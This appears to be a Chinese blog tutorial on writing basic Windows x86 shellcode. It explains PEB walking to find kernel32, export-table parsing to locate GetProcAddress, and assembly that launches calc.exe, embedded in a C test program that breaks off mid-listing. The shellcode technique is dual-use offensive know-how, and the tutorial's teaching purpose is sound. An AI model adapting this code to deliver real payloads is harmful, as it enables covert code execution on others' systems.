继上一篇《Create A Simple Linux Shellcode
》之后,这里来探讨一下Windows
下简单shellcode
的编写。
Windows
和Linux
区别还是挺大的。Linux
的函数调用只需要知道系统调用号,然后系统调用即可。Windows
的函数与特定DLL
相关,需要知道DLL
特定导出函数的地址才能调用。在进一步进入shellcode
编写之前,需要了解PEB
和PE
的相关知识。
第一部分:PEB中某些重要的部分
TEB
(Thread Environment Block
,线程环境块)系统在此TEB中保存频繁使用的线程相关的数据。位于用户地址空间,在比 PEB
所在地址低的地方。用户模式下,当前线程的TEB
位于独立的4KB
段(页),可通过CPU
的FS
寄存器来访问该段,一般存储在[FS:0x00]
。
PEB
(Process Environment Block
,进程环境块)存放进程信息,每个进程都有自己的PEB
信息。位于用户地址空间。可在TEB
结构地址偏移0x30
处获得PEB
的地址位置。
MSDN
中关于TEB
的结构的描述:TEB ,不是很明确,更详细的可以参考_TEB 。在windbg
里面能够更直观的看到TEB
和PEB
的关系。!teb
扩展显示线程环境块(teb
)中信息的格式化视图。
看一下更清楚的结构:
结合之前学习的SEH BOF
利用,这里FS:[0x00]
是指向SEH
链的指针。可以看到PEB
的指针在0x30
的位置。MSDN
中关于PEB 的结构描述:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 typedef struct _PEB { BYTE Reserved1[2 ]; BYTE BeingDebugged; BYTE Reserved2[1 ]; PVOID Reserved3[2 ]; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID Reserved4[3 ]; PVOID AtlThunkSListPtr; PVOID Reserved5; ULONG Reserved6; PVOID Reserved7; ULONG Reserved8; ULONG AtlThunkSListPtr32; PVOID Reserved9[45 ]; BYTE Reserved10[96 ]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved11[128 ]; PVOID Reserved12[1 ]; ULONG SessionId; } PEB, *PPEB;
定义里面有很多保留字段,在windbg
中,我们来更直观的看一下:
这里重点关注一下其中的成员Ldr
,其结构是_PEB_LDR_DATA ,来看下MSDN
关于它的定义:
1 2 3 4 5 typedef struct _PEB_LDR_DATA { BYTE Reserved1[8 ]; PVOID Reserved2[3 ]; LIST_ENTRY InMemoryOrderModuleList; } PEB_LDR_DATA, *PPEB_LDR_DATA;
包含有关该进程加载过程的信息。还是在windbg
里面看一下:
可以看到这里,除了文档InMemoryOrderModuleList
,实际还有两个:InLoadOrderModuleList
和InInitializationOrderModuleList
。这个其实是模块在不同状态的顺序
InLoadOrderModuleList
指的是模块加载的顺序
InMemoryOrderModuleList
指的是在内存的排列顺序
InInitializationOrderModuleLists
指的是模块初始化装载顺序。
继续看一下InMemoryOrderModuleList
的作用:双向链表的头部包含进程的加载模块。链表的每一个都是指向LDR_DATA_TABLE_ENTRY
结构的指针。来看一下LDR_DATA_TABLE_ENTRY
这个结构:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 typedef struct _LDR_DATA_TABLE_ENTRY { PVOID Reserved1[2 ]; LIST_ENTRY InMemoryOrderLinks; PVOID Reserved2[2 ]; PVOID DllBase; PVOID EntryPoint; PVOID Reserved3; UNICODE_STRING FullDllName; BYTE Reserved4[8 ]; PVOID Reserved5[3 ]; union { ULONG CheckSum; PVOID Reserved6; }; ULONG TimeDateStamp; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
看下来有点迷糊,在windbg
里面一步一步查看:这里选择跟进InMemoryOrderModuleList
指向的结构:
第一个指向程序本身:(我这里加载的是本机的Calculator.exe
)
根据MSDN
规定LIST_ENTRY
的结构,其中有两个成员:Flink
和Blink
,他们分别指向一个LDR_DATA_TABLE_ENTRY
结构。各个LIST_ENTRY
的第一个填充就是链表的Flink
,指向下一个链表节点,第二个填充的是链表的Blink
,指向前一个链表节点。这里看着有点迷糊。
第一个:
第二个:
第三个:
3月28日补充:上面查看的时候,没有进行偏移计算,所以得到的结果是错误的,之前还疑惑为啥会出现地址不可访问,原来是解析地址给错了。 其实,这个Flink
既指向双向链表的下一个LIST_ENTRY
结构,同时也指向LDR_DATA_TABLE_ENTRY
这个结构中具体的链 ,这样就解释了为什么windbg
可以用同一个地址去解析两个不同的结构,在解析的时候要根据其使用的链在LDR_DATA_TABLE_ENTRY
结构中的偏移,得到正确的指向LDR_DATA_TABLE_ENTRY
结构的地址。在windbg
中看下LDR_DATA_TABLE_ENTRY
结构描述。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 0 :023 > dt _LDR_DATA_TABLE_ENTRYntdll!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY +0x008 InMemoryOrderLinks : _LIST_ENTRY +0x010 InInitializationOrderLinks : _LIST_ENTRY +0x018 DllBase : Ptr32 Void +0x01c EntryPoint : Ptr32 Void +0x020 SizeOfImage : Uint4B +0x024 FullDllName : _UNICODE_STRING +0x02c BaseDllName : _UNICODE_STRING +0x034 FlagGroup : [4 ] UChar +0x034 Flags : Uint4B +0x034 PackagedBinary : Pos 0 , 1 Bit +0x034 MarkedForRemoval : Pos 1 , 1 Bit +0x034 ImageDll : Pos 2 , 1 Bit +0x034 LoadNotificationsSent : Pos 3 , 1 Bit +0x034 TelemetryEntryProcessed : Pos 4 , 1 Bit +0x034 ProcessStaticImport : Pos 5 , 1 Bit +0x034 InLegacyLists : Pos 6 , 1 Bit +0x034 InIndexes : Pos 7 , 1 Bit +0x034 ShimDll : Pos 8 , 1 Bit +0x034 InExceptionTable : Pos 9 , 1 Bit +0x034 ReservedFlags1 : Pos 10 , 2 Bits +0x034 LoadInProgress : Pos 12 , 1 Bit +0x034 LoadConfigProcessed : Pos 13 , 1 Bit +0x034 EntryProcessed : Pos 14 , 1 Bit +0x034 ProtectDelayLoad : Pos 15 , 1 Bit +0x034 ReservedFlags3 : Pos 16 , 2 Bits +0x034 DontCallForThreads : Pos 18 , 1 Bit +0x034 ProcessAttachCalled : Pos 19 , 1 Bit +0x034 ProcessAttachFailed : Pos 20 , 1 Bit +0x034 CorDeferredValidate : Pos 21 , 1 Bit +0x034 CorImage : Pos 22 , 1 Bit +0x034 DontRelocate : Pos 23 , 1 Bit +0x034 CorILOnly : Pos 24 , 1 Bit +0x034 ChpeImage : Pos 25 , 1 Bit +0x034 ReservedFlags5 : Pos 26 , 2 Bits +0x034 Redirected : Pos 28 , 1 Bit +0x034 ReservedFlags6 : Pos 29 , 2 Bits +0x034 CompatDatabaseProcessed : Pos 31 , 1 Bit +0x038 ObsoleteLoadCount : Uint2B +0x03a TlsIndex : Uint2B +0x03c HashLinks : _LIST_ENTRY +0x044 TimeDateStamp : Uint4B +0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT +0x04c Lock : Ptr32 Void +0x050 DdagNode : Ptr32 _LDR_DDAG_NODE +0x054 NodeModuleLink : _LIST_ENTRY +0x05c LoadContext : Ptr32 _LDRP_LOAD_CONTEXT +0x060 ParentDllBase : Ptr32 Void +0x064 SwitchBackContext : Ptr32 Void +0x068 BaseAddressIndexNode : _RTL_BALANCED_NODE +0x074 MappingInfoIndexNode : _RTL_BALANCED_NODE +0x080 OriginalBase : Uint4B +0x088 LoadTime : _LARGE_INTEGER +0x090 BaseNameHashValue : Uint4B +0x094 LoadReason : _LDR_DLL_LOAD_REASON +0x098 ImplicitPathOptions : Uint4B +0x09c ReferenceCount : Uint4B +0x0a0 DependentLoadFlags : Uint4B +0x0a4 SigningLevel : UChar
通过以上这个结构,就好理解了。具体来分析一下,省略了一些步骤,以下面获取的_PEB_LDR_DATA
地址和结构作为后续分析InMemoryOrderModuleList
链的基础。
注意InMemoryOrderModuleList
的指针在LDR_DATA_TABLE_ENTRY
结构中的偏移0x08
。所以第一个为:
第二个:
第三个:
借用别人的图,来直观感受一下:
借用别人写的程序来说明
InLoadOrderModuleList
InMemoryOrderModuleList
InInitializationOrderModuleLists
三者加载模块的顺序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 #include <stdio.h> #include <windows.h> typedef struct UNICODE_STRING { USHORT _ength; USHORT MaximumLength; PWSTR Buffer; }UNICODE_STRING, * PUNICODE_STRING; typedef struct PEB_LDR_DATA { ULONG Length; BOOLEAN initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; }PEB_LDR_DATA, * PPEB_LDR_DATA; typedef struct LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; void * BaseAddress; void * EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; HANDLE SectionHandle; ULONG CheckSum; ULONG TimeDateStamp; }MY_LDR_MODULE, * PLDR_MODULE; int main () { PEB_LDR_DATA* pEBLDR; MY_LDR_MODULE* pLdrMod; PLDR_MODULE PLdr; LIST_ENTRY* pNext, * pStart; _asm { mov eax, fs: [0x30 ] mov eax, [eax + 0xC ] mov pEBLDR, eax } printf ("GetModuleHandle Kernel32:0x%08x\n" , GetModuleHandle("Kernel32" )); printf ("GetModuleHandle ntdll:0x%08x\n" , GetModuleHandle("ntdll" )); printf ("--------------------------------------------------------------------------\n" ); printf ("PEB_LDR_DATA:0x%08x\n" , pEBLDR); printf ("LDR->InLoadOrderModuleList:\t\t0x%08x\n" , pEBLDR->InLoadOrderModuleList); printf (">>>InLoadOrderModuleList<<<\n" ); printf ("BaseAddress\t\t BaseDllName\n================================================\n" ); pNext = (LIST_ENTRY*)&(pEBLDR->InLoadOrderModuleList); pStart = pNext; do { pNext = pNext->Flink; pLdrMod = (MY_LDR_MODULE*)pNext; printf ("0x%08x\t\t" , pLdrMod->BaseAddress); wprintf(L"%s\n" , pLdrMod->BaseDllName.Buffer); } while (pNext != pStart); printf ("LDR->InMemoryOrderModuleList:\t\t0x%08x\n" , pEBLDR->InMemoryOrderModuleList); printf ("BaseAddress\t\t BaseDllName\n================================================\n" ); pNext = (LIST_ENTRY*)&(pEBLDR->InMemoryOrderModuleList); pStart = pNext; do { pNext = pNext->Flink; pLdrMod = CONTAINING_RECORD(pNext, LDR_DATA_TABLE_ENTRY, InMemoryOrderModuleList); printf ("0x%08x\t\t" , pLdrMod->BaseAddress); wprintf(L"%s\n" , pLdrMod->BaseDllName.Buffer); } while (pNext != pStart); printf ("LDR->InInitializationOrderModuleList:\t0x%08x\n" , pEBLDR->InInitializationOrderModuleList); printf ("BaseAddress\t\t BaseDllName\n================================================\n" ); pNext = (LIST_ENTRY*)&(pEBLDR->InInitializationOrderModuleList); pStart = pNext; do { pNext = pNext->Flink; pLdrMod = CONTAINING_RECORD(pNext, LDR_DATA_TABLE_ENTRY, InInitializationOrderModuleList); printf ("0x%08x\t\t" , pLdrMod->BaseAddress); wprintf(L"%s\n" , pLdrMod->BaseDllName.Buffer); } while (pNext != pStart); getchar(); }
发现InLoadOrderModuleList
和InMemoryOrderModuleList
,前3
个DLL
无论内容还是顺序都是完全一样的。而InInitializationOrderModuleLists
则在不同Window
版本存在差异,故一般不选用这个内存顺序的方式。
利用InMemoryOrderModuleList
的顺序来搜索KERNEL32.DLL
的地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <Windows.h> #include <stdio.h> int main () { unsigned int address; __asm { xor eax, eax mov eax, fs: [eax + 30 h] ; 指向PEB的指针 mov eax, [eax + 0 ch]; 指向PEB_LDR_DATA的指针 mov eax, [eax + 14 h]; 根据PEB_LDR_DATA得出InLoadOrderModuleList的Flink字段 mov esi, [eax]; lodsd; mov eax, [eax + 10 h]; Kernel.dll的基地址 mov address, eax; } printf ("0x:%p\n" , address); HANDLE kernelA = LoadLibrary(L"kernel32.dll" ); printf ("0x:%p\n" , kernelA); system("pause" ); return 0 ; }
第二部分:PE文件中某些重要的部分
先来看一下PE
文件的格式:(这里讨论的是32
位系统下的PE
格式)
结合另一个图一起看:
先来看一下DOS Header
:查看winnt.h
文件(本机位置:C:\Program Files\Windows Kits\10\Include\10.0.19041.0\um\winnt.h
)
或者访问:https://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 typedef struct _IMAGE_DOS_HEADER { WORD e_magic; WORD e_cblp; WORD e_cp; WORD e_crlc; WORD e_cparhdr; WORD e_minalloc; WORD e_maxalloc; WORD e_ss; WORD e_sp; WORD e_csum; WORD e_ip; WORD e_cs; WORD e_lfarlc; WORD e_ovno; WORD e_res[4 ]; WORD e_oemid; WORD e_oeminfo; WORD e_res2[10 ]; LONG e_lfanew; } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
这里主要关注e_lfanew
,它在偏移0x3c
处,保存PE
头相对于文件的偏移地址,这可以让我们到达PE
头,接下来看一下PE
头的结构:https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_nt_headers32
1 2 3 4 5 typedef struct _IMAGE_NT_HEADERS { DWORD Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER32 OptionalHeader; } IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
来继续看一下IMAGE_OPTIONAL_HEADER32
的结构:https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 typedef struct _IMAGE_OPTIONAL_HEADER { WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; DWORD BaseOfData; DWORD ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; DWORD SizeOfStackReserve; DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
这里,我们主要关注结构体中的IMAGE_DATA_DIRECTORY
类型,这里的IMAGE_NUMBEROF_DIRECTORY_ENTRIES
是一个常量,为16
。来看一下IMAGE_DATA_DIRECTORY
的结构:https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_data_directory
1 2 3 4 typedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; DWORD Size; } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
其中DataDirectory
的第一个元素指向导出表和导出表大小,其他的可以参照:
看一下导出表的结构:https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#the-edata-section-image-only
1 2 3 4 5 6 7 8 9 10 11 12 13 typedef struct _IMAGE_EXPORT_DIRECTORY { ULONG Characteristics; ULONG TimeDateStamp; USHORT MajorVersion; USHORT MinorVersion; ULONG Name; ULONG Base; ULONG NumberOfFunctions; ULONG NumberOfNames; ULONG AddressOfFunctions; ULONG AddressOfNames; ULONG AddressOfNameOrdinals; } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
重点关注结构体中的最后三项:
AddressOfFunctions
:指向的是整型数组,数组的个数由NumberOfFunctions
来确定,如果数组元素的内容非0
,那它就是一个导出函数的地址。
AddressOfNames
:指向的也是一个整型数组,数组里面保存的是相应的函数名称的RVA
,数组个数由NumberOfNames
确定。
AddressOfNameOrdinals
:指向的是短整型数组,数组里面保存的是序号。
三者关系如下所示:
结合下图一起看:
上面根据Name
字段找到dll
的文件名以后,使用LoadLibrary
将dll
文件加载进内存,而为了找到相应的函数地址,还需要使用GetProcAddress
函数来得到函数地址,而GetProcAddress
函数可以使用字符串和序号的方式来获得函数地址。·
对于字符串的方式,首先是去AddressOfNames
得到各个字符串的地址,然后在字符串的地址中找到相应的字符串,和GetProcAddress
函数传入的字符串做比较,如果相等,则记录下这个相等的数组的下标,根据这个下标去AddressOfNameOrdinals
中查找对应的下标中的序号值,得到的值就是作为数组AddressOfFunctions
的索引来找到相应的函数地址。
另外一种是根据导出序号来查找函数,这个时候,GetProcAddress
函数会首先将序号减去Base
的值,得到AddressOfFunctions
数组的索引,在根据这个索引来获得对应的函数的地址。
关于GetProcAddress
,先看下这个:new-low-level-binaries 。主要意思就是从kernel32.dll
挪到了kernelbase.dll
。我们来验证一下:
或者用下面的方式:
补充: 后续发现kernel32.dll
的导出表中能够找到GetProcAddress
函数,只是它的调用有一些变化,具体可以参照:windbg-help-missing-kernel32-function 中介绍的分析方法。所以在shellcode
编写的时候,在kernel32.dll
或者在kernelbase.dll
中的导出表找GetProcAddress
都可。
接下来,在windbg
中来直观的展示一下。以kernelbase.dll
为例:
查看kernelbase.dll
文件头信息:
我们主要看导出表的信息:
来看一下CFF Explorer
打开的的kernelbase.dll
中导出表的部分信息:
结合上面两张图,我们来演示根据函数名来找到函数地址,以AccessCheck
函数为例:
上面这张表显示:AccessCheck
函数名的RVA
为001ca3cd
,从下面这个表中可以看到001ca3cd
在数组AddressOfNames
中的第一个位置。
到AddressOfNameOrdinals
数组中查看第一个位置的值,为函数序号,这里在显示的时候,因为AddressOfNameOrdinals
为双字节,所以使用dw
:
可以看到第一个位置的序号为0006
,注意看CFF Explorer
中也是0006
。接下来到AddressOfFunctions
数组中找到第七个位置的值(数组的下标以0
开始):
结合反汇编代码和CFF Explorer
的值,都是一一对应的。
再看一下前面CFF Explorer
打开的的kernelbase.dll
中导出表部分信息的截图,发现序号0000
到0005
在windbg
中AddressOfNameOrdinals
数组中没有体现出来。未深究。
第三部分:简单shellcode的编写
了解完PEB
和PE
的必要信息之后,终于进入shellcode
编写的部分了。
编写shellcode
的一般步骤是:(这里以弹计算器为例)
1.找到kernel32.dll
(或者kernelbase.dll
)加载到内存的基址
2.找到kernel32.dll
(或者kernelbase.dll
)的导出表
3.在导出表中找到GetProcAddress
的RVA
,并结合kernel32.dll
(或者kernelbase.dll
)的基址算出GetProcAddress
的实际地址
4.利用GetProcAddress
函数找到CreateProcessA
函数的地址
5.调用CreateProcessA
函数来加载calc.exe
6.利用GetProcAddress
函数找到ExitProcess
函数的地址
7.调用ExitProcess
函数
下面来分布展示和分析汇编代码。
寻找kernel32.dll
的基址:
1 2 3 4 5 6 7 8 xor ecx, ecx mov eax, fs:[ecx + 0x30] ; EAX = PEB mov eax, [eax + 0xc] ; EAX = PEB->Ldr mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder lodsd ; EAX = Second module xchg eax, esi ; EAX = ESI, ESI = EAX lodsd ; EAX = Third(kernel32) mov ebx, [eax + 0x10] ; EBX = Base address
寻找kernel32.dll
的导出表:
1 2 3 4 5 6 7 mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew add edx, ebx ; EDX = PE Header mov edx, [edx + 0x78] ; EDX = Offset export table add edx, ebx ; EDX = Export table mov esi, [edx + 0x20] ; ESI = Offset names table add esi, ebx ; ESI = Names table xor ecx, ecx ; EXC = 0
寻找GetProcAddress
函数的名字:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 GetFunction : inc ecx //increment counter lodsd //Get name offset add eax, ebx //Get function name cmp [eax], 0x50746547 //"PteG" jnz short GetFunction //jump to GetFunction label if not "GetP" cmp [eax + 0x4], 0x41636F72 //"rocA" jnz short GetFunction //jump to GetFunction label if not "rocA" cmp [eax + 0x8], 0x65726464 //"ddre" jnz short GetFunction //jump to GetFunction label if not "ddre" mov esi, dword ptr ds:[edx + 0x24] //ESI = Offset ordinals add esi, ebx //ESI = Ordinals table mov cx, word ptr ds:[esi + ecx * 2] //CX = Number of function dec ecx //Decrement the ordinal mov esi, dword ptr ds:[edx + 0x1C] //ESI = Offset address table add esi, ebx //ESI = Address table mov edx, dword ptr ds:[esi + ecx * 4] //EDX = Pointer(offset) add edx, ebx //EDX = GetProcAddress
上面这段汇编代码中,带GetFuncion
标识符这段用于在AddressOfNames
数组中查找等于GetProcAddress
字符串的数组下标,注意循环查找的时候,首先inc ecx
,也就是说如果是第一个则ecx
为1
,与我们平常知道的C
语言数据下标从0
开始有点不同。GetProcAddress
四个字符一组,转换为十六进制,分三部进行比较。之前让我疑惑很久的地方在mov cx, word ptr ds:[esi + ecx * 2]
这句汇编指令,为何是ecx*2
,因为AddressOfNameOrdinals
每一项是2
个字节。因为数组都第一个值得下标为0
,其实这里会指向实际下标之后的一个,不过因为AddressOfNameOrdinals
数组的每一个值都是前一个值加1
,所以先取值再减1
也可。可以先dec ecx
再进行mov cx, word ptr ds:[esi + ecx * 2]
,这样会比较好理解。
利用GetProcAddress
函数找到CreateProcessA
函数的地址:
1 2 3 4 5 6 7 8 9 10 11 xor ecx, ecx ; zeroing ECX push ebx ; kernel32 base address push edx ; GetProcAddress push 0x61614173 ; aaAs sub word [esp + 0x2], 0x6161 ; aaAs - aa push 0x7365636f ; seco push 0x72506574 ; rPet push 0x61657243 ; aerC push esp ; push the pointer to stack push ebx call edx ; call getprocAddress
注意这里有个trick
:
1 2 push 0x61614173 ; aaAs sub word [esp + 0x2], 0x6161 ; aaAs - aa
因为CreateProcessA
字符串每4
个一组,最后会剩余sA
这2
个字符,所以先增加2
个a
,然后再减掉,还能在最后增加两个00
,变成字符串结尾符。
以上执行完成之后,eax
中保存CreateProcessA
的函数地址。
来看一下CreateProcessA
函数的基本用法,看下MSDN 的介绍:
1 2 3 4 5 6 7 8 9 10 11 12 BOOL CreateProcessA ( [in, optional] LPCSTR lpApplicationName, [in, out, optional] LPSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCSTR lpCurrentDirectory, [in] LPSTARTUPINFOA lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation ) ;
主要在最后两个参数,分别指向STARTUPINFO 和PROCESS_INFORMATION 两个结构体。因为这两个结构体的存在,汇编代码需要开辟一块区域,就是为了这两个结构体指针指向它。看汇编代码:
1 2 3 4 5 6 7 8 9 ; for 'lpProcessInformation' and 'lpStartupInfo' xor ecx, ecx ; zero out counter register mov cl, 0xff ; we ll loop 255 times (0xff) xor edi, edi ;edi now 0x00000000 zero_loop: push edi; place 0x00000000 on stack 255 times loop zero_loop; as a way to 'zero memory'
接下来就是保存calc
这个字符串了。因为前面已经开辟了一块区域,切都置为0
,所以这里直接把calc
的十六进按小端序压入栈即可。然后参照之前介绍的CreateProcessA
函数的用法,完成栈数据的布局。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 push 0x636c6163 ;calc mov ecx, esp ;stack pointer to 'calc' push ecx ; processinfo pointing to 'calc' as a struct argument push ecx ; startupinfo pointing to 'calc' as a struct argument xor edx, edx ; zero out push edx ; NULLS push edx push edx push edx push edx push edx push ecx ; 'calc' push edx call eax ; call CreateProcessA and spawn calc
最后,为了能够正常退出,调用了ExitProcess
函数,不再解释,按照之前寻找函数的方式进行即可。
1 2 3 4 5 6 7 8 9 10 11 push 0x61737365 ; asse sub word ptr [esp + 0x3], 0x61 ; asse -a push 0x636F7250 ; corP push 0x74697845 ; tixE push esp push ebx call esi xor ecx, ecx push ecx call eax
整合以上所有代码,最终的汇编代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 xor ecx, ecx mov eax, fs:[ecx + 0x30] ; EAX = PEB mov eax, [eax + 0xc] ; EAX = PEB->Ldr mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder lodsd ; EAX = Second module xchg eax, esi ; EAX = ESI, ESI = EAX lodsd ; EAX = Third(kernel32) mov ebx, [eax + 0x10] ; EBX = kernel32 Base address mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew add edx, ebx ; EDX = PE Header mov edx, [edx + 0x78] ; EDX = Offset export table add edx, ebx ; EDX = Export table mov esi, [edx + 0x20] ; ESI = Offset names table add esi, ebx ; ESI = Names table xor ecx, ecx ; EXC = 0 GetFunction : inc ecx ;increment counter lodsd ;Get name offset add eax, ebx ;Get function name cmp [eax], 0x50746547 ;"PteG" jnz short GetFunction ;jump to GetFunction label if not "GetP" cmp [eax + 0x4], 0x41636F72 ;"rocA" jnz short GetFunction ;jump to GetFunction label if not "rocA" cmp [eax + 0x8], 0x65726464 ;"ddre" jnz short GetFunction ;jump to GetFunction label if not "ddre" mov esi, dword ptr ds:[edx + 0x24] ;esi = Offset ordinals add esi, ebx ;esi = Ordinals table mov cx, word ptr ds:[esi + ecx * 2] ;cx = Number of function dec ecx ;Decrement the ordinal mov esi, dword ptr ds:[edx + 0x1C] ;esi = Offset address table add esi, ebx ;esi = Address table mov edx, dword ptr ds:[esi + ecx * 4] ;edx = Pointer(offset) add edx, ebx ;edx = GetProcAddress mov esi, edx ;esi = GetProcAddress xor ecx, ecx ; zeroing ecx push ebx ; kernel32 base address push edx ; GetProcAddress push 0x61614173 ; aaAs sub word ptr [esp + 0x2], 0x6161 ; aaAs - aa push 0x7365636f ; seco push 0x72506574 ; rPet push 0x61657243 ; aerC push esp ; push the pointer to stack push ebx call edx ; call getprocAddress ; for 'lpProcessInformation' and 'lpStartupInfo' xor ecx, ecx ; zero out counter register mov cl, 0xff ; we ll loop 255 times (0xff) xor edi, edi ;edi now 0x00000000 zero_loop: push edi; place 0x00000000 on stack 255 times loop zero_loop; as a way to 'zero memory' push 0x636c6163 ;calc mov ecx, esp ;stack pointer to 'calc' push ecx ; processinfo pointing to 'calc' as a struct argument push ecx ; startupinfo pointing to 'calc' as a struct argument xor edx, edx ; zero out push edx ; NULLS push edx push edx push edx push edx push edx push ecx ; 'calc' push edx call eax ; call CreateProcessA and spawn calc push 0x61737365 ; asse sub word ptr [esp + 0x3], 0x61 ; asse -a push 0x636F7250 ; corP push 0x74697845 ; tixE push esp push ebx call esi xor ecx, ecx push ecx call eax
写一个程序先测试,看是否成功:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 #include <windows.h> int main (int argc, char * argv[]) { _asm { xor ecx, ecx mov eax, fs:[ecx + 0x30 ] ; EAX = PEB mov eax, [eax + 0xc ] ; EAX = PEB->Ldr mov esi, [eax + 0x14 ] ; ESI = PEB->Ldr.InMemOrder lodsd ; EAX = Second module xchg eax, esi ; EAX = ESI, ESI = EAX lodsd ; EAX = Third(kernel32) mov ebx, [eax + 0x10 ] ; EBX = kernel32 Base address mov edx, [ebx + 0x3c ] ; EDX = DOS->e_lfanew add edx, ebx ; EDX = PE Header mov edx, [edx + 0x78 ] ; EDX = Offset export table add edx, ebx ; EDX = Export table mov esi, [edx + 0x20 ] ; ESI = Offset names table add esi, ebx ; ESI = Names table xor ecx, ecx ; EXC = 0 GetFunction : inc ecx ;increment counter lodsd ;Get name offset add eax, ebx ;Get function name cmp [eax], 0x50746547 ;"PteG" jnz short GetFunction ;jump to GetFunction label if not "GetP" cmp [eax + 0x4 ], 0x41636F72 ;"rocA" jnz short GetFunction ;jump to GetFunction label if not "rocA" cmp [eax + 0x8 ], 0x65726464 ;"ddre" jnz short GetFunction ;jump to GetFunction label if not "ddre" mov esi, dword ptr ds:[edx + 0x24 ] ;esi = Offset ordinals add esi, ebx ;esi = Ordinals table mov cx, word ptr ds:[esi + ecx * 2 ] ;cx = Number of function dec ecx ;Decrement the ordinal mov esi, dword ptr ds:[edx + 0x1C ] ;esi = Offset address table add esi, ebx ;esi = Address table mov edx, dword ptr ds:[esi + ecx * 4 ] ;edx = Pointer(offset) add edx, ebx ;edx = GetProcAddress mov esi, edx ;esi = GetProcAddress xor ecx, ecx ; zeroing ecx push ebx ; kernel32 base address push edx ; GetProcAddress push 0x61614173 ; aaAs sub word ptr [esp + 0x2 ], 0x6161 ; aaAs - aa push 0x7365636f ; seco push 0x72506574 ; rPet push 0x61657243 ; aerC push esp ; push the pointer to stack push ebx call edx ; call getprocAddress ; for 'lpProcessInformation' 